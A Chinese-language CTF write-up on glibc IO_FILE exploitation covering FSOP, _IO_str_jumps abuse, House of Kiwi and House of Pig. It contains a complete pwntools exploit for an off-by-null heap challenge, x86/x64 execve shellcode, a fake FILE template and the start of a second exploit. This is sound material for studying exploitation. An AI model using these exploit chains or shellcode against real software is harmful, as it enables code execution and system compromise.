IO基础
FILE在Linux系统的标准IO库中是用于描述文件的结构,称为文件流,常被一系列流操作(fopen()
、fread()
、fclose()
等)使用,其动态指针由fopen()
函数创建,存储在堆上(stdin
、stdout
、stderr
这三个位于libc
数据段)。在libc2.23
版本中,这个结构体是_IO_FILE_plus
,包含了一个_IO_FILE
结构体和一个指向_IO_jump_t
结构体的指针vtable
,一些函数在调用的时候会取出vtable
所指向的函数,vtable
也称为虚表。
FILE结构体如下:
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
_IO_jump_t
结构体如下:
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
// 简化一下(来自Wiki)
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};
这边引用了e4l4师傅的字段长度表,方便查询和构造:
_IO_FILE_plus_size = {
'i386':0x98,
'amd64':0xe0
}
_IO_FILE_plus = {
'i386':{
0x0:'_flags',
0x4:'_IO_read_ptr',
0x8:'_IO_read_end',
0xc:'_IO_read_base',
0x10:'_IO_write_base',
0x14:'_IO_write_ptr',
0x18:'_IO_write_end',
0x1c:'_IO_buf_base',
0x20:'_IO_buf_end',
0x24:'_IO_save_base',
0x28:'_IO_backup_base',
0x2c:'_IO_save_end',
0x30:'_markers',
0x34:'_chain',
0x38:'_fileno',
0x3c:'_flags2',
0x40:'_old_offset',
0x44:'_cur_column',
0x46:'_vtable_offset',
0x47:'_shortbuf',
0x48:'_lock',
0x4c:'_offset',
0x54:'_codecvt',
0x58:'_wide_data',
0x5c:'_freeres_list',
0x60:'_freeres_buf',
0x64:'__pad5',
0x68:'_mode',
0x6c:'_unused2',
0x94:'vtable'
},
'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
}
}
FSOP
FSOP是一种劫持_IO_list_all
(libc.so
中的全局变量)来伪造链表的利用技术,通过调用_IO_flush_all_lockp()
函数触发,这个函数会刷新_IO_list_all
链表中所有项的文件流,相当于对每个FILE
调用fflush
来清空缓冲区,也对应着会调用_IO_FILE_plus.vtable
中的_IO_overflow
函数。该方法在libc-2.28
之后失效。
_IO_flush_all_lockp()
函数在以下几种情况会被调用:
libc
检测到内存错误从而执行abort
流程,函数调用流程如下:malloc_printerr
->__libc_message
->__GI_abort_
->_IO_flush_all_lockp
->_IO_OVERFLOW
执行
exit
函数main
函数返回时
2.23版本
下面是_IO_flush_all_lockp
函数的源码:
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all; //覆盖为伪造的链表
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) //需要绕过这些检查
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //fp指向伪造的vtable,触发虚函数
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain; //指向下一个对象
}
#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif
return result;
}
这里注意我们触发的条件:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
2.24版本之后
libc-2.24
加入了对vtable
指针的检查,所有的vtables
都被放进了__libc_IO_vtables
段,使得它们在内存中连续,在任何跳转之前,vtable
指针都会调用IO_validate_vtable()
函数进行边缘检查,如果指针不在这个段,那么将会调用IO_vtable_check()
函数进行进一步的检查。
利用_IO_str_jumps
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish), // 利用_IO_str_finish
JUMP_INIT(overflow, _IO_str_overflow), // 利用_IO_str_overflow
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
利用_IO_str_overflow
int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) //检查 // _IO_size_t的宏定义 #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base) { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ //检查 return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100; // "/bin/sh"的地址 if (new_size < old_blen) return EOF; // system("/bin/sh") new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); if (new_buf == NULL) { /* __ferror(fp) = 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); /* Make sure _IO_setb won't try to delete _IO_buf_base. */ fp->_IO_buf_base = NULL; } memset (new_buf + old_blen, '\0', new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; }
构造数据如下:
fp->_flags = 0
fp->_IO_write_ptr = 0xffffffffffffffff
fp->_IO_write_base = 0
fp->_IO_buf_end = (str_bin_sh - 100) / 2
注意:这里的
str_bin_sh
最好是偶数,避免除法向下取整,如果为奇数,可以选择加1。fp->_IO_buf_base = 0
fp->mode = 0
fp + 0xe0 = system_addr
利用_IO_str_finish
void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) //检查 (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //system("/bin/sh") fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); }
构造数据如下:
fp->mode = 0
fp->_IO_write_ptr = 0xffffffffffffffff
fp->_IO_write_base = 0
fp->_flag = 0
fp->_IO_buf_base = str_bin_sh
fp + 0xe0 = system_addr
利用_IO_wstr_jumps
const struct _IO_jump_t _IO_wstr_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_wstr_finish), //利用_IO_wstr_finish函数
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstr_overflow), //利用_IO_wstr_overflow函数
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
JUMP_INIT(xsputn, _IO_wdefault_xsputn),
JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT(seekoff, _IO_wstr_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_wdefault_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
House_Of_Kiwi
利用原理
适用于当程序将各种hook函数禁用并且将exit函数更换为_exit函数,开启了sandbox只能orw的时候,通过__malloc_assert
函数触发_IO_file_jumps
中的_IO_file_sync
指针,加上setcontext的技术可实现rop。当topchunk的大小不足以分配chunk的时候,会进入sysmalloc让我们有机会触发以下断言:
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) && // 将topchunk的prev_inuse改为0就可以触发断言进而触发__malloc_assert
((unsigned long) old_end & (pagesize - 1)) == 0));
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr); // 利用了stderr这个结构体,也恰好是_IO_list_all中存储的结构体
abort ();
}
主要的触发链:assert -> __malloc_assert -> fflush -> __IO_file_sync
setcontext + 61
处的内容在2.29之后就由rdi转变为rdx控制,那如何控制setcontext中的rdx寄存器呢?2.32版本的setcontext如下:
<setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0]
<setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]
<setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]
<setcontext+79>: mov r12,QWORD PTR [rdx+0x48]
<setcontext+83>: mov r13,QWORD PTR [rdx+0x50]
<setcontext+87>: mov r14,QWORD PTR [rdx+0x58]
<setcontext+91>: mov r15,QWORD PTR [rdx+0x60]
<setcontext+95>: test DWORD PTR fs:0x48,0x2
<setcontext+107>: je 0x7ffff7e31156 <setcontext+294>
->
<setcontext+294>: mov rcx,QWORD PTR [rdx+0xa8]
<setcontext+301>: push rcx
<setcontext+302>: mov rsi,QWORD PTR [rdx+0x70]
<setcontext+306>: mov rdi,QWORD PTR [rdx+0x68]
<setcontext+310>: mov rcx,QWORD PTR [rdx+0x98]
<setcontext+317>: mov r8,QWORD PTR [rdx+0x28]
<setcontext+321>: mov r9,QWORD PTR [rdx+0x30]
<setcontext+325>: mov rdx,QWORD PTR [rdx+0x88]
<setcontext+332>: xor eax,eax
<setcontext+334>: ret
我们可以断在call <setcontext+61>
的地方看看rdx到底是什么牛马,可以断在fflush函数中去查看:
► 0x7ffff7e5bd53 <fflush+131> call qword ptr [rbp + 0x60] <setcontext+61>
rdi: 0x7ffff7fc15e0 (_IO_2_1_stderr_) ◂— 0xfbad2887
rsi: 0x7fffffffba70 ◂— 0x616d203a6e69616d ('main: ma')
rdx: 0x7ffff7fc18c0 (_IO_helper_jumps) ◂— 0x0
rcx: 0xc00
0x7ffff7e5bd56 <fflush+134> xor r8d, r8d
0x7ffff7e5bd59 <fflush+137> test eax, eax
0x7ffff7e5bd5b <fflush+139> setne r8b
0x7ffff7e5bd5f <fflush+143> neg r8d
0x7ffff7e5bd62 <fflush+146> test dword ptr [rbx], 0x8000
0x7ffff7e5bd68 <fflush+152> jne fflush+195 <fflush+195>
0x7ffff7e5bd6a <fflush+154> mov rdi, qword ptr [rbx + 0x88]
0x7ffff7e5bd71 <fflush+161> mov eax, dword ptr [rdi + 4]
0x7ffff7e5bd74 <fflush+164> sub eax, 1
0x7ffff7e5bd77 <fflush+167> mov dword ptr [rdi + 4], eax
发现rdx的值就是_IO_helper_jumps
指针,所以在_IO_helper_jumps + 0xa0
和_IO_helper_jumps + 0xa8
上写上我们rop链所在的地址和ret片段的地址就能实现rop。
NULL_FxCK
存在沙盒(orw)以及2.29版本之后的off-by-null漏洞,但是只能在edit的时候off-by-null一次,所以之后的数据构造都只能依赖于堆叠。由于2.29版本之后的off-by-null需要chunk的低位两个字节都为0x00,所以我们需要爆破,可以关闭地址随机化进行调试。
echo 0 > /proc/sys/kernel/randomize_va_space # 关闭
echo 2 > /proc/sys/kernel/randomize_va_space # 开启
主要思路:
利用off-by-null漏洞制造堆叠。
参考我的另一篇文章:Off-By-Null总结 - Pursue
利用largebin_attack劫持libc上存储的tcache_struct指针。
伪造tcache_struct,实现任意地址写任意数据。
house_of_kiwi,IO利用
WP如下:
可能和网上的答案不太一样,毕竟是自己独立构造的(真的很恶心🤢🤢🤢)
注意:构造orw的时候/flag
字符串不要放在开头,调试下来发现在open的时候会将orw的开头给覆盖成rdx的值。
#encoding = utf-8
from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64')
local = 2
if local == 1 :
sh = process([b"./ld-2.32.so", b"./main"], env = {"LD_PRELOAD" : b"./libc-2.32.so"})
elif local == 2 :
sh = process("./main")
else :
sh = remote(ip, port)
elf = ELF('./main')
libc = elf.libc
def dbg():
gdb.attach(sh)
pause()
s = lambda data :sh.send(data)
sa = lambda text, data :sh.sendafter(text, data)
sl = lambda data :sh.sendline(data)
sla = lambda text, data :sh.sendlineafter(text, data)
r = lambda num :sh.recv(num)
ru = lambda text :sh.recvuntil(text)
uu32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#------------------------------------------------------------------------------------------------------#
def add(size, data):
sla('>> ', b'1')
sla('(: Size: ', str(size))
sa('(: Content: ', data)
def edit(idx, data):
sla('>> ', b'2')
sla('Index: ', str(idx))
sa('Content: ', data)
def delete(idx):
sla('>> ', b'3')
sla('Index: ', str(idx))
def show(idx):
sla('>> ', b'4')
sla('Index: ', str(idx))
def pwn():
# padding
add(0x2000, b'pursue') # 0
pad = 0x1000 - 0x2d0
add(pad, b'pursue') # 1
# prepare
add(0x508, b'prev') # 2
add(0x428, b'barrier') # 3
add(0x4f8, b'barrier') # 4
add(0x4f8, b'victim') # 5
add(0x108, b'barrier') # 6
add(0x4f8, b'chunk_a') # 7
add(0x108, b'barrier') # 8
add(0x518, b'chunk_b') # 9
add(0x108, b'barrier') # 10
# create largebin chunk
delete(2)
delete(7)
delete(9)
add(0x1000, b'pursue') # 2
# create fake_chuk
fake_size = 0x500 + 0x430 + 0x500
fake_head = p64(0) + p64(fake_size + 1)
add(0x508, fake_head) # 7
# modify b->fd == p
fd = p8(0x10) + p8(0)
add(0x518, fd) # 9
# modify a->bk == p
add(0x4f8, b'a2') # 11
delete(11)
delete(5)
bk = p64(0) + p8(0x10) + p8(0)
add(0x4f8, bk) # 5
# set next_chunk->pre_size = chunk->size
add(0x4f8, b'victim2') # 11
pld = b'a' * 0x4f0 + p64(fake_size)
edit(4, pld) # off-by-null
# success
delete(11) # the new merged chunk is overlapped with the prev chunk
# leak libc
add(0x4f8 + 0x430, b'pursue') # 11
add(0x1000, b'pursue') # 12
show(4)
libc_base = uu64() - 0x1e4170
success('\033[32mlibc_base->0x%x\033[0m' % libc_base)
delete(11)
# leak heap
add(0x4f8 + 0x420, b'pursue') # 11
add(0x1000, b'pursue') # 13
show(4)
heap_base = u64(r(6).ljust(8, b'\x00')) - 0x3930
success('\033[32mheap_base->0x%x\033[0m' % heap_base)
delete(11)
tls_tcache = libc_base + 0x1eb578
success('\033[32mtls_tcache->0x%x\033[0m' % tls_tcache)
io_file_jumps = libc_base + 0x1e54c0
io_file_sync = io_file_jumps + 0x60
io_helper_jumps = libc_base + 0x1e48c0 # 0x1e4980
setcontext = libc_base + libc.sym['setcontext']
success('\033[32msetcontext->0x%x\033[0m' % setcontext)
success('\033[32mio_file_sync->0x%x\033[0m' % io_file_sync)
success('\033[32mio_helper_jumps->0x%x\033[0m' % io_helper_jumps)
p_rdi_r = libc_base + 0x000000000002858f
p_rsi_r = libc_base + 0x000000000002ac3f
p_rdx_r12_r = libc_base + 0x0000000000114161
success('\033[32mp_rdi_r->0x%x\033[0m' % p_rdi_r)
op = libc_base + libc.sym['open']
rd = libc_base + libc.sym['read']
pt = libc_base + libc.sym['puts']
success('\033[32mop->0x%x\033[0m' % op)
# frame = SigreturnFrame()
# frame.rsp = heap_base + 0x4a60 + 0x20 # orw_addr
# frame.rip = p_rdi_r + 1 # ret
orw = p64(0) * 2
orw += p64(p_rdi_r) + p64(heap_base + 0x4a60 + 0xa0)
orw += p64(p_rsi_r) + p64(0)
orw += p64(op)
orw += p64(p_rdi_r) + p64(3)
orw += p64(p_rdx_r12_r) + p64(0x30) + p64(0)
orw += p64(p_rsi_r) + p64(heap_base + 0x4a60 + 0x120)
orw += p64(rd)
orw += p64(p_rdi_r) + p64(heap_base + 0x4a60 + 0x120)
orw += p64(pt)
orw += b'/flag\x00'
# largebin attack to tls_tcache
add(0x4c8, b'pursue') # 11
add(0x438, b'pursue') # 14b
pld = p64(0) * 2 + p64(0x430) + p64(501)
add(0x438, pld) # 15
add(0x418, b'pursue') # 16
add(0x1a8, b'pursue') # 17
delete(3)
add(0x1000, b'pursue') # 3
delete(14)
pld = p64(0) * 4 + p64(0x510) + p64(0x431)
pld += p64(libc_base + 0x1e3ff0) * 2 + p64(heap_base + 0x3510) + p64(tls_tcache - 0x20)
add(0x438, pld) # 14
delete(16)
add(0x1000, b'pursue') # 16
# fake tcache_struct
add(0x418, b'pursue')
delete(14)
top_chunk = heap_base + 0xa0e0
success('\033[32mtop_chunk->0x%x\033[0m' % top_chunk)
pld = p64(0) * 4 + b'\x01' * 0x80
pld += p64(io_file_sync) * 20
pld += p64(io_helper_jumps + 0xa0) * 10
pld += p64(top_chunk) * 10
add(0x438, pld)
# pwn
delete(9)
add(0x518, orw) # orw
add(0x108, p64(setcontext + 61)) # io_file_syn -> setcontext + 61
add(0x188, p64(heap_base + 0x4a60 + 0x20) + p64(p_rdi_r + 1)) # io_helper_jumps + 0xa8 & 0xa0 -> rop_init
add(0x228, p64(0) + p64(0x520)) # top_chunk.size -> 0x520
sla('>> ', b'1')
sla('(: Size: ', str(0x1000))
if __name__ == '__main__':
while 1:
try :
sh = process("./main")
pwn()
break
except :
sh.close()
sh.interactive()
攻击成功时也是会返给我们断言的信息的,这也可以帮助我们检查是不是触发了断言,如下所示:
# 开始爆破
[*] Process './main' stopped with exit code -6 (SIGABRT) (pid 1089)
[+] Starting local process './main': pid 1091
[*] Process './main' stopped with exit code -6 (SIGABRT) (pid 1091)
[+] Starting local process './main': pid 1093
[*] Process './main' stopped with exit code -6 (SIGABRT) (pid 1093)
[+] Starting local process './main': pid 1095
[*] Process './main' stopped with exit code -6 (SIGABRT) (pid 1095)
[+] Starting local process './main': pid 1097
[*] Process './main' stopped with exit code -6 (SIGABRT) (pid 1097)
[+] Starting local process './main': pid 1099
[*] Process './main' stopped with exit code -6 (SIGABRT) (pid 1099)
[+] Starting local process './main': pid 1101
exp.py:29: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
uu64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
[+] libc_base->0x7f81b31a4000
[+] heap_base->0x55958ac4d000
[+] tls_tcache->0x7f81b338f578
[+] setcontext->0x7f81b31f7030
[+] io_file_sync->0x7f81b3389520
[+] io_helper_jumps->0x7f81b33888c0
[+] p_rdi_r->0x7f81b31cc58f
[+] op->0x7f81b32ac9b0
[+] top_chunk->0x55958ac570e0
[*] Switching to interactive mode
# 返还给我们断言信息
main: malloc.c:2394: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.
# 成功
flag{!!success!!}
House_Of_Pig
利用原理
主要适用于程存在calloc,无法从tcache中拿取chunk,核心是利用_IO_str_jumps
中的_IO_str_overflow
函数执行一系列的malloc、memcpy和free操作,主要的攻击思路会在例题中给出,先看一下源码:
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_USER_BUF 1
int _IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
// #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
// 核心部分,在构造的同时注意绕过检查
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
new_buf = malloc (new_size);
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
eznote(DSCTF2022)
程序存在一个数组的越界,导致在分配最后一个chunk的时候会将第一个chunk的size改写产生了堆叠,并且程序是通过calloc来分配堆块,不会直接从tcache中拿取chunk,并且存在沙盒只能orw。
主要的攻击思路:
- 通过数组越界布置堆风水,泄露libc和heap的地址
- largebin_attack劫持
_IO_list_all
,为构造IO_FILE做准备 - 进行4次IO_FILE的布局,也是本题的核心思路。第一个FILE用于将tcache_struct释放进入tcache中,也就是
heap_base + 0x10
的地方;第二次的FILE用于修改tcache_struct使得可以任意地址写;第三个FILE用于修改memcpy@got
为system,注意这里要还原memset函数,因为memcpy函数结束之后还会调用memset;第四个FILE触发攻击。
总结了一下构造此类FILE的模板:
fake_IO_FILE = p64(0) * 2
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(copy_heap_addr) # _IO_buf_base
fake_IO_FILE += p64(copy_heap_addr + old_blen) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE1.ljust(0x58, b'\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE1.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE1.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE1.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(io_str_jumps) # vtable
学习了e4l4师傅的WP,并做了一点注释:
#encoding = utf-8
from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64')
local = 2
if local == 1 :
sh = process([b"./ld-linux-x86-64.so.2", b"./eznote"], env={"LD_PRELOAD" : b"./libc.so.6"})
elif local == 2 :
sh = process("./eznote")
else :
sh = remote(ip, port)
elf = ELF('./eznote')
libc = ELF('./libc.so.6')
def dbg():
gdb.attach(sh)
pause()
s = lambda data :sh.send(data)
sa = lambda text, data :sh.sendafter(text, data)
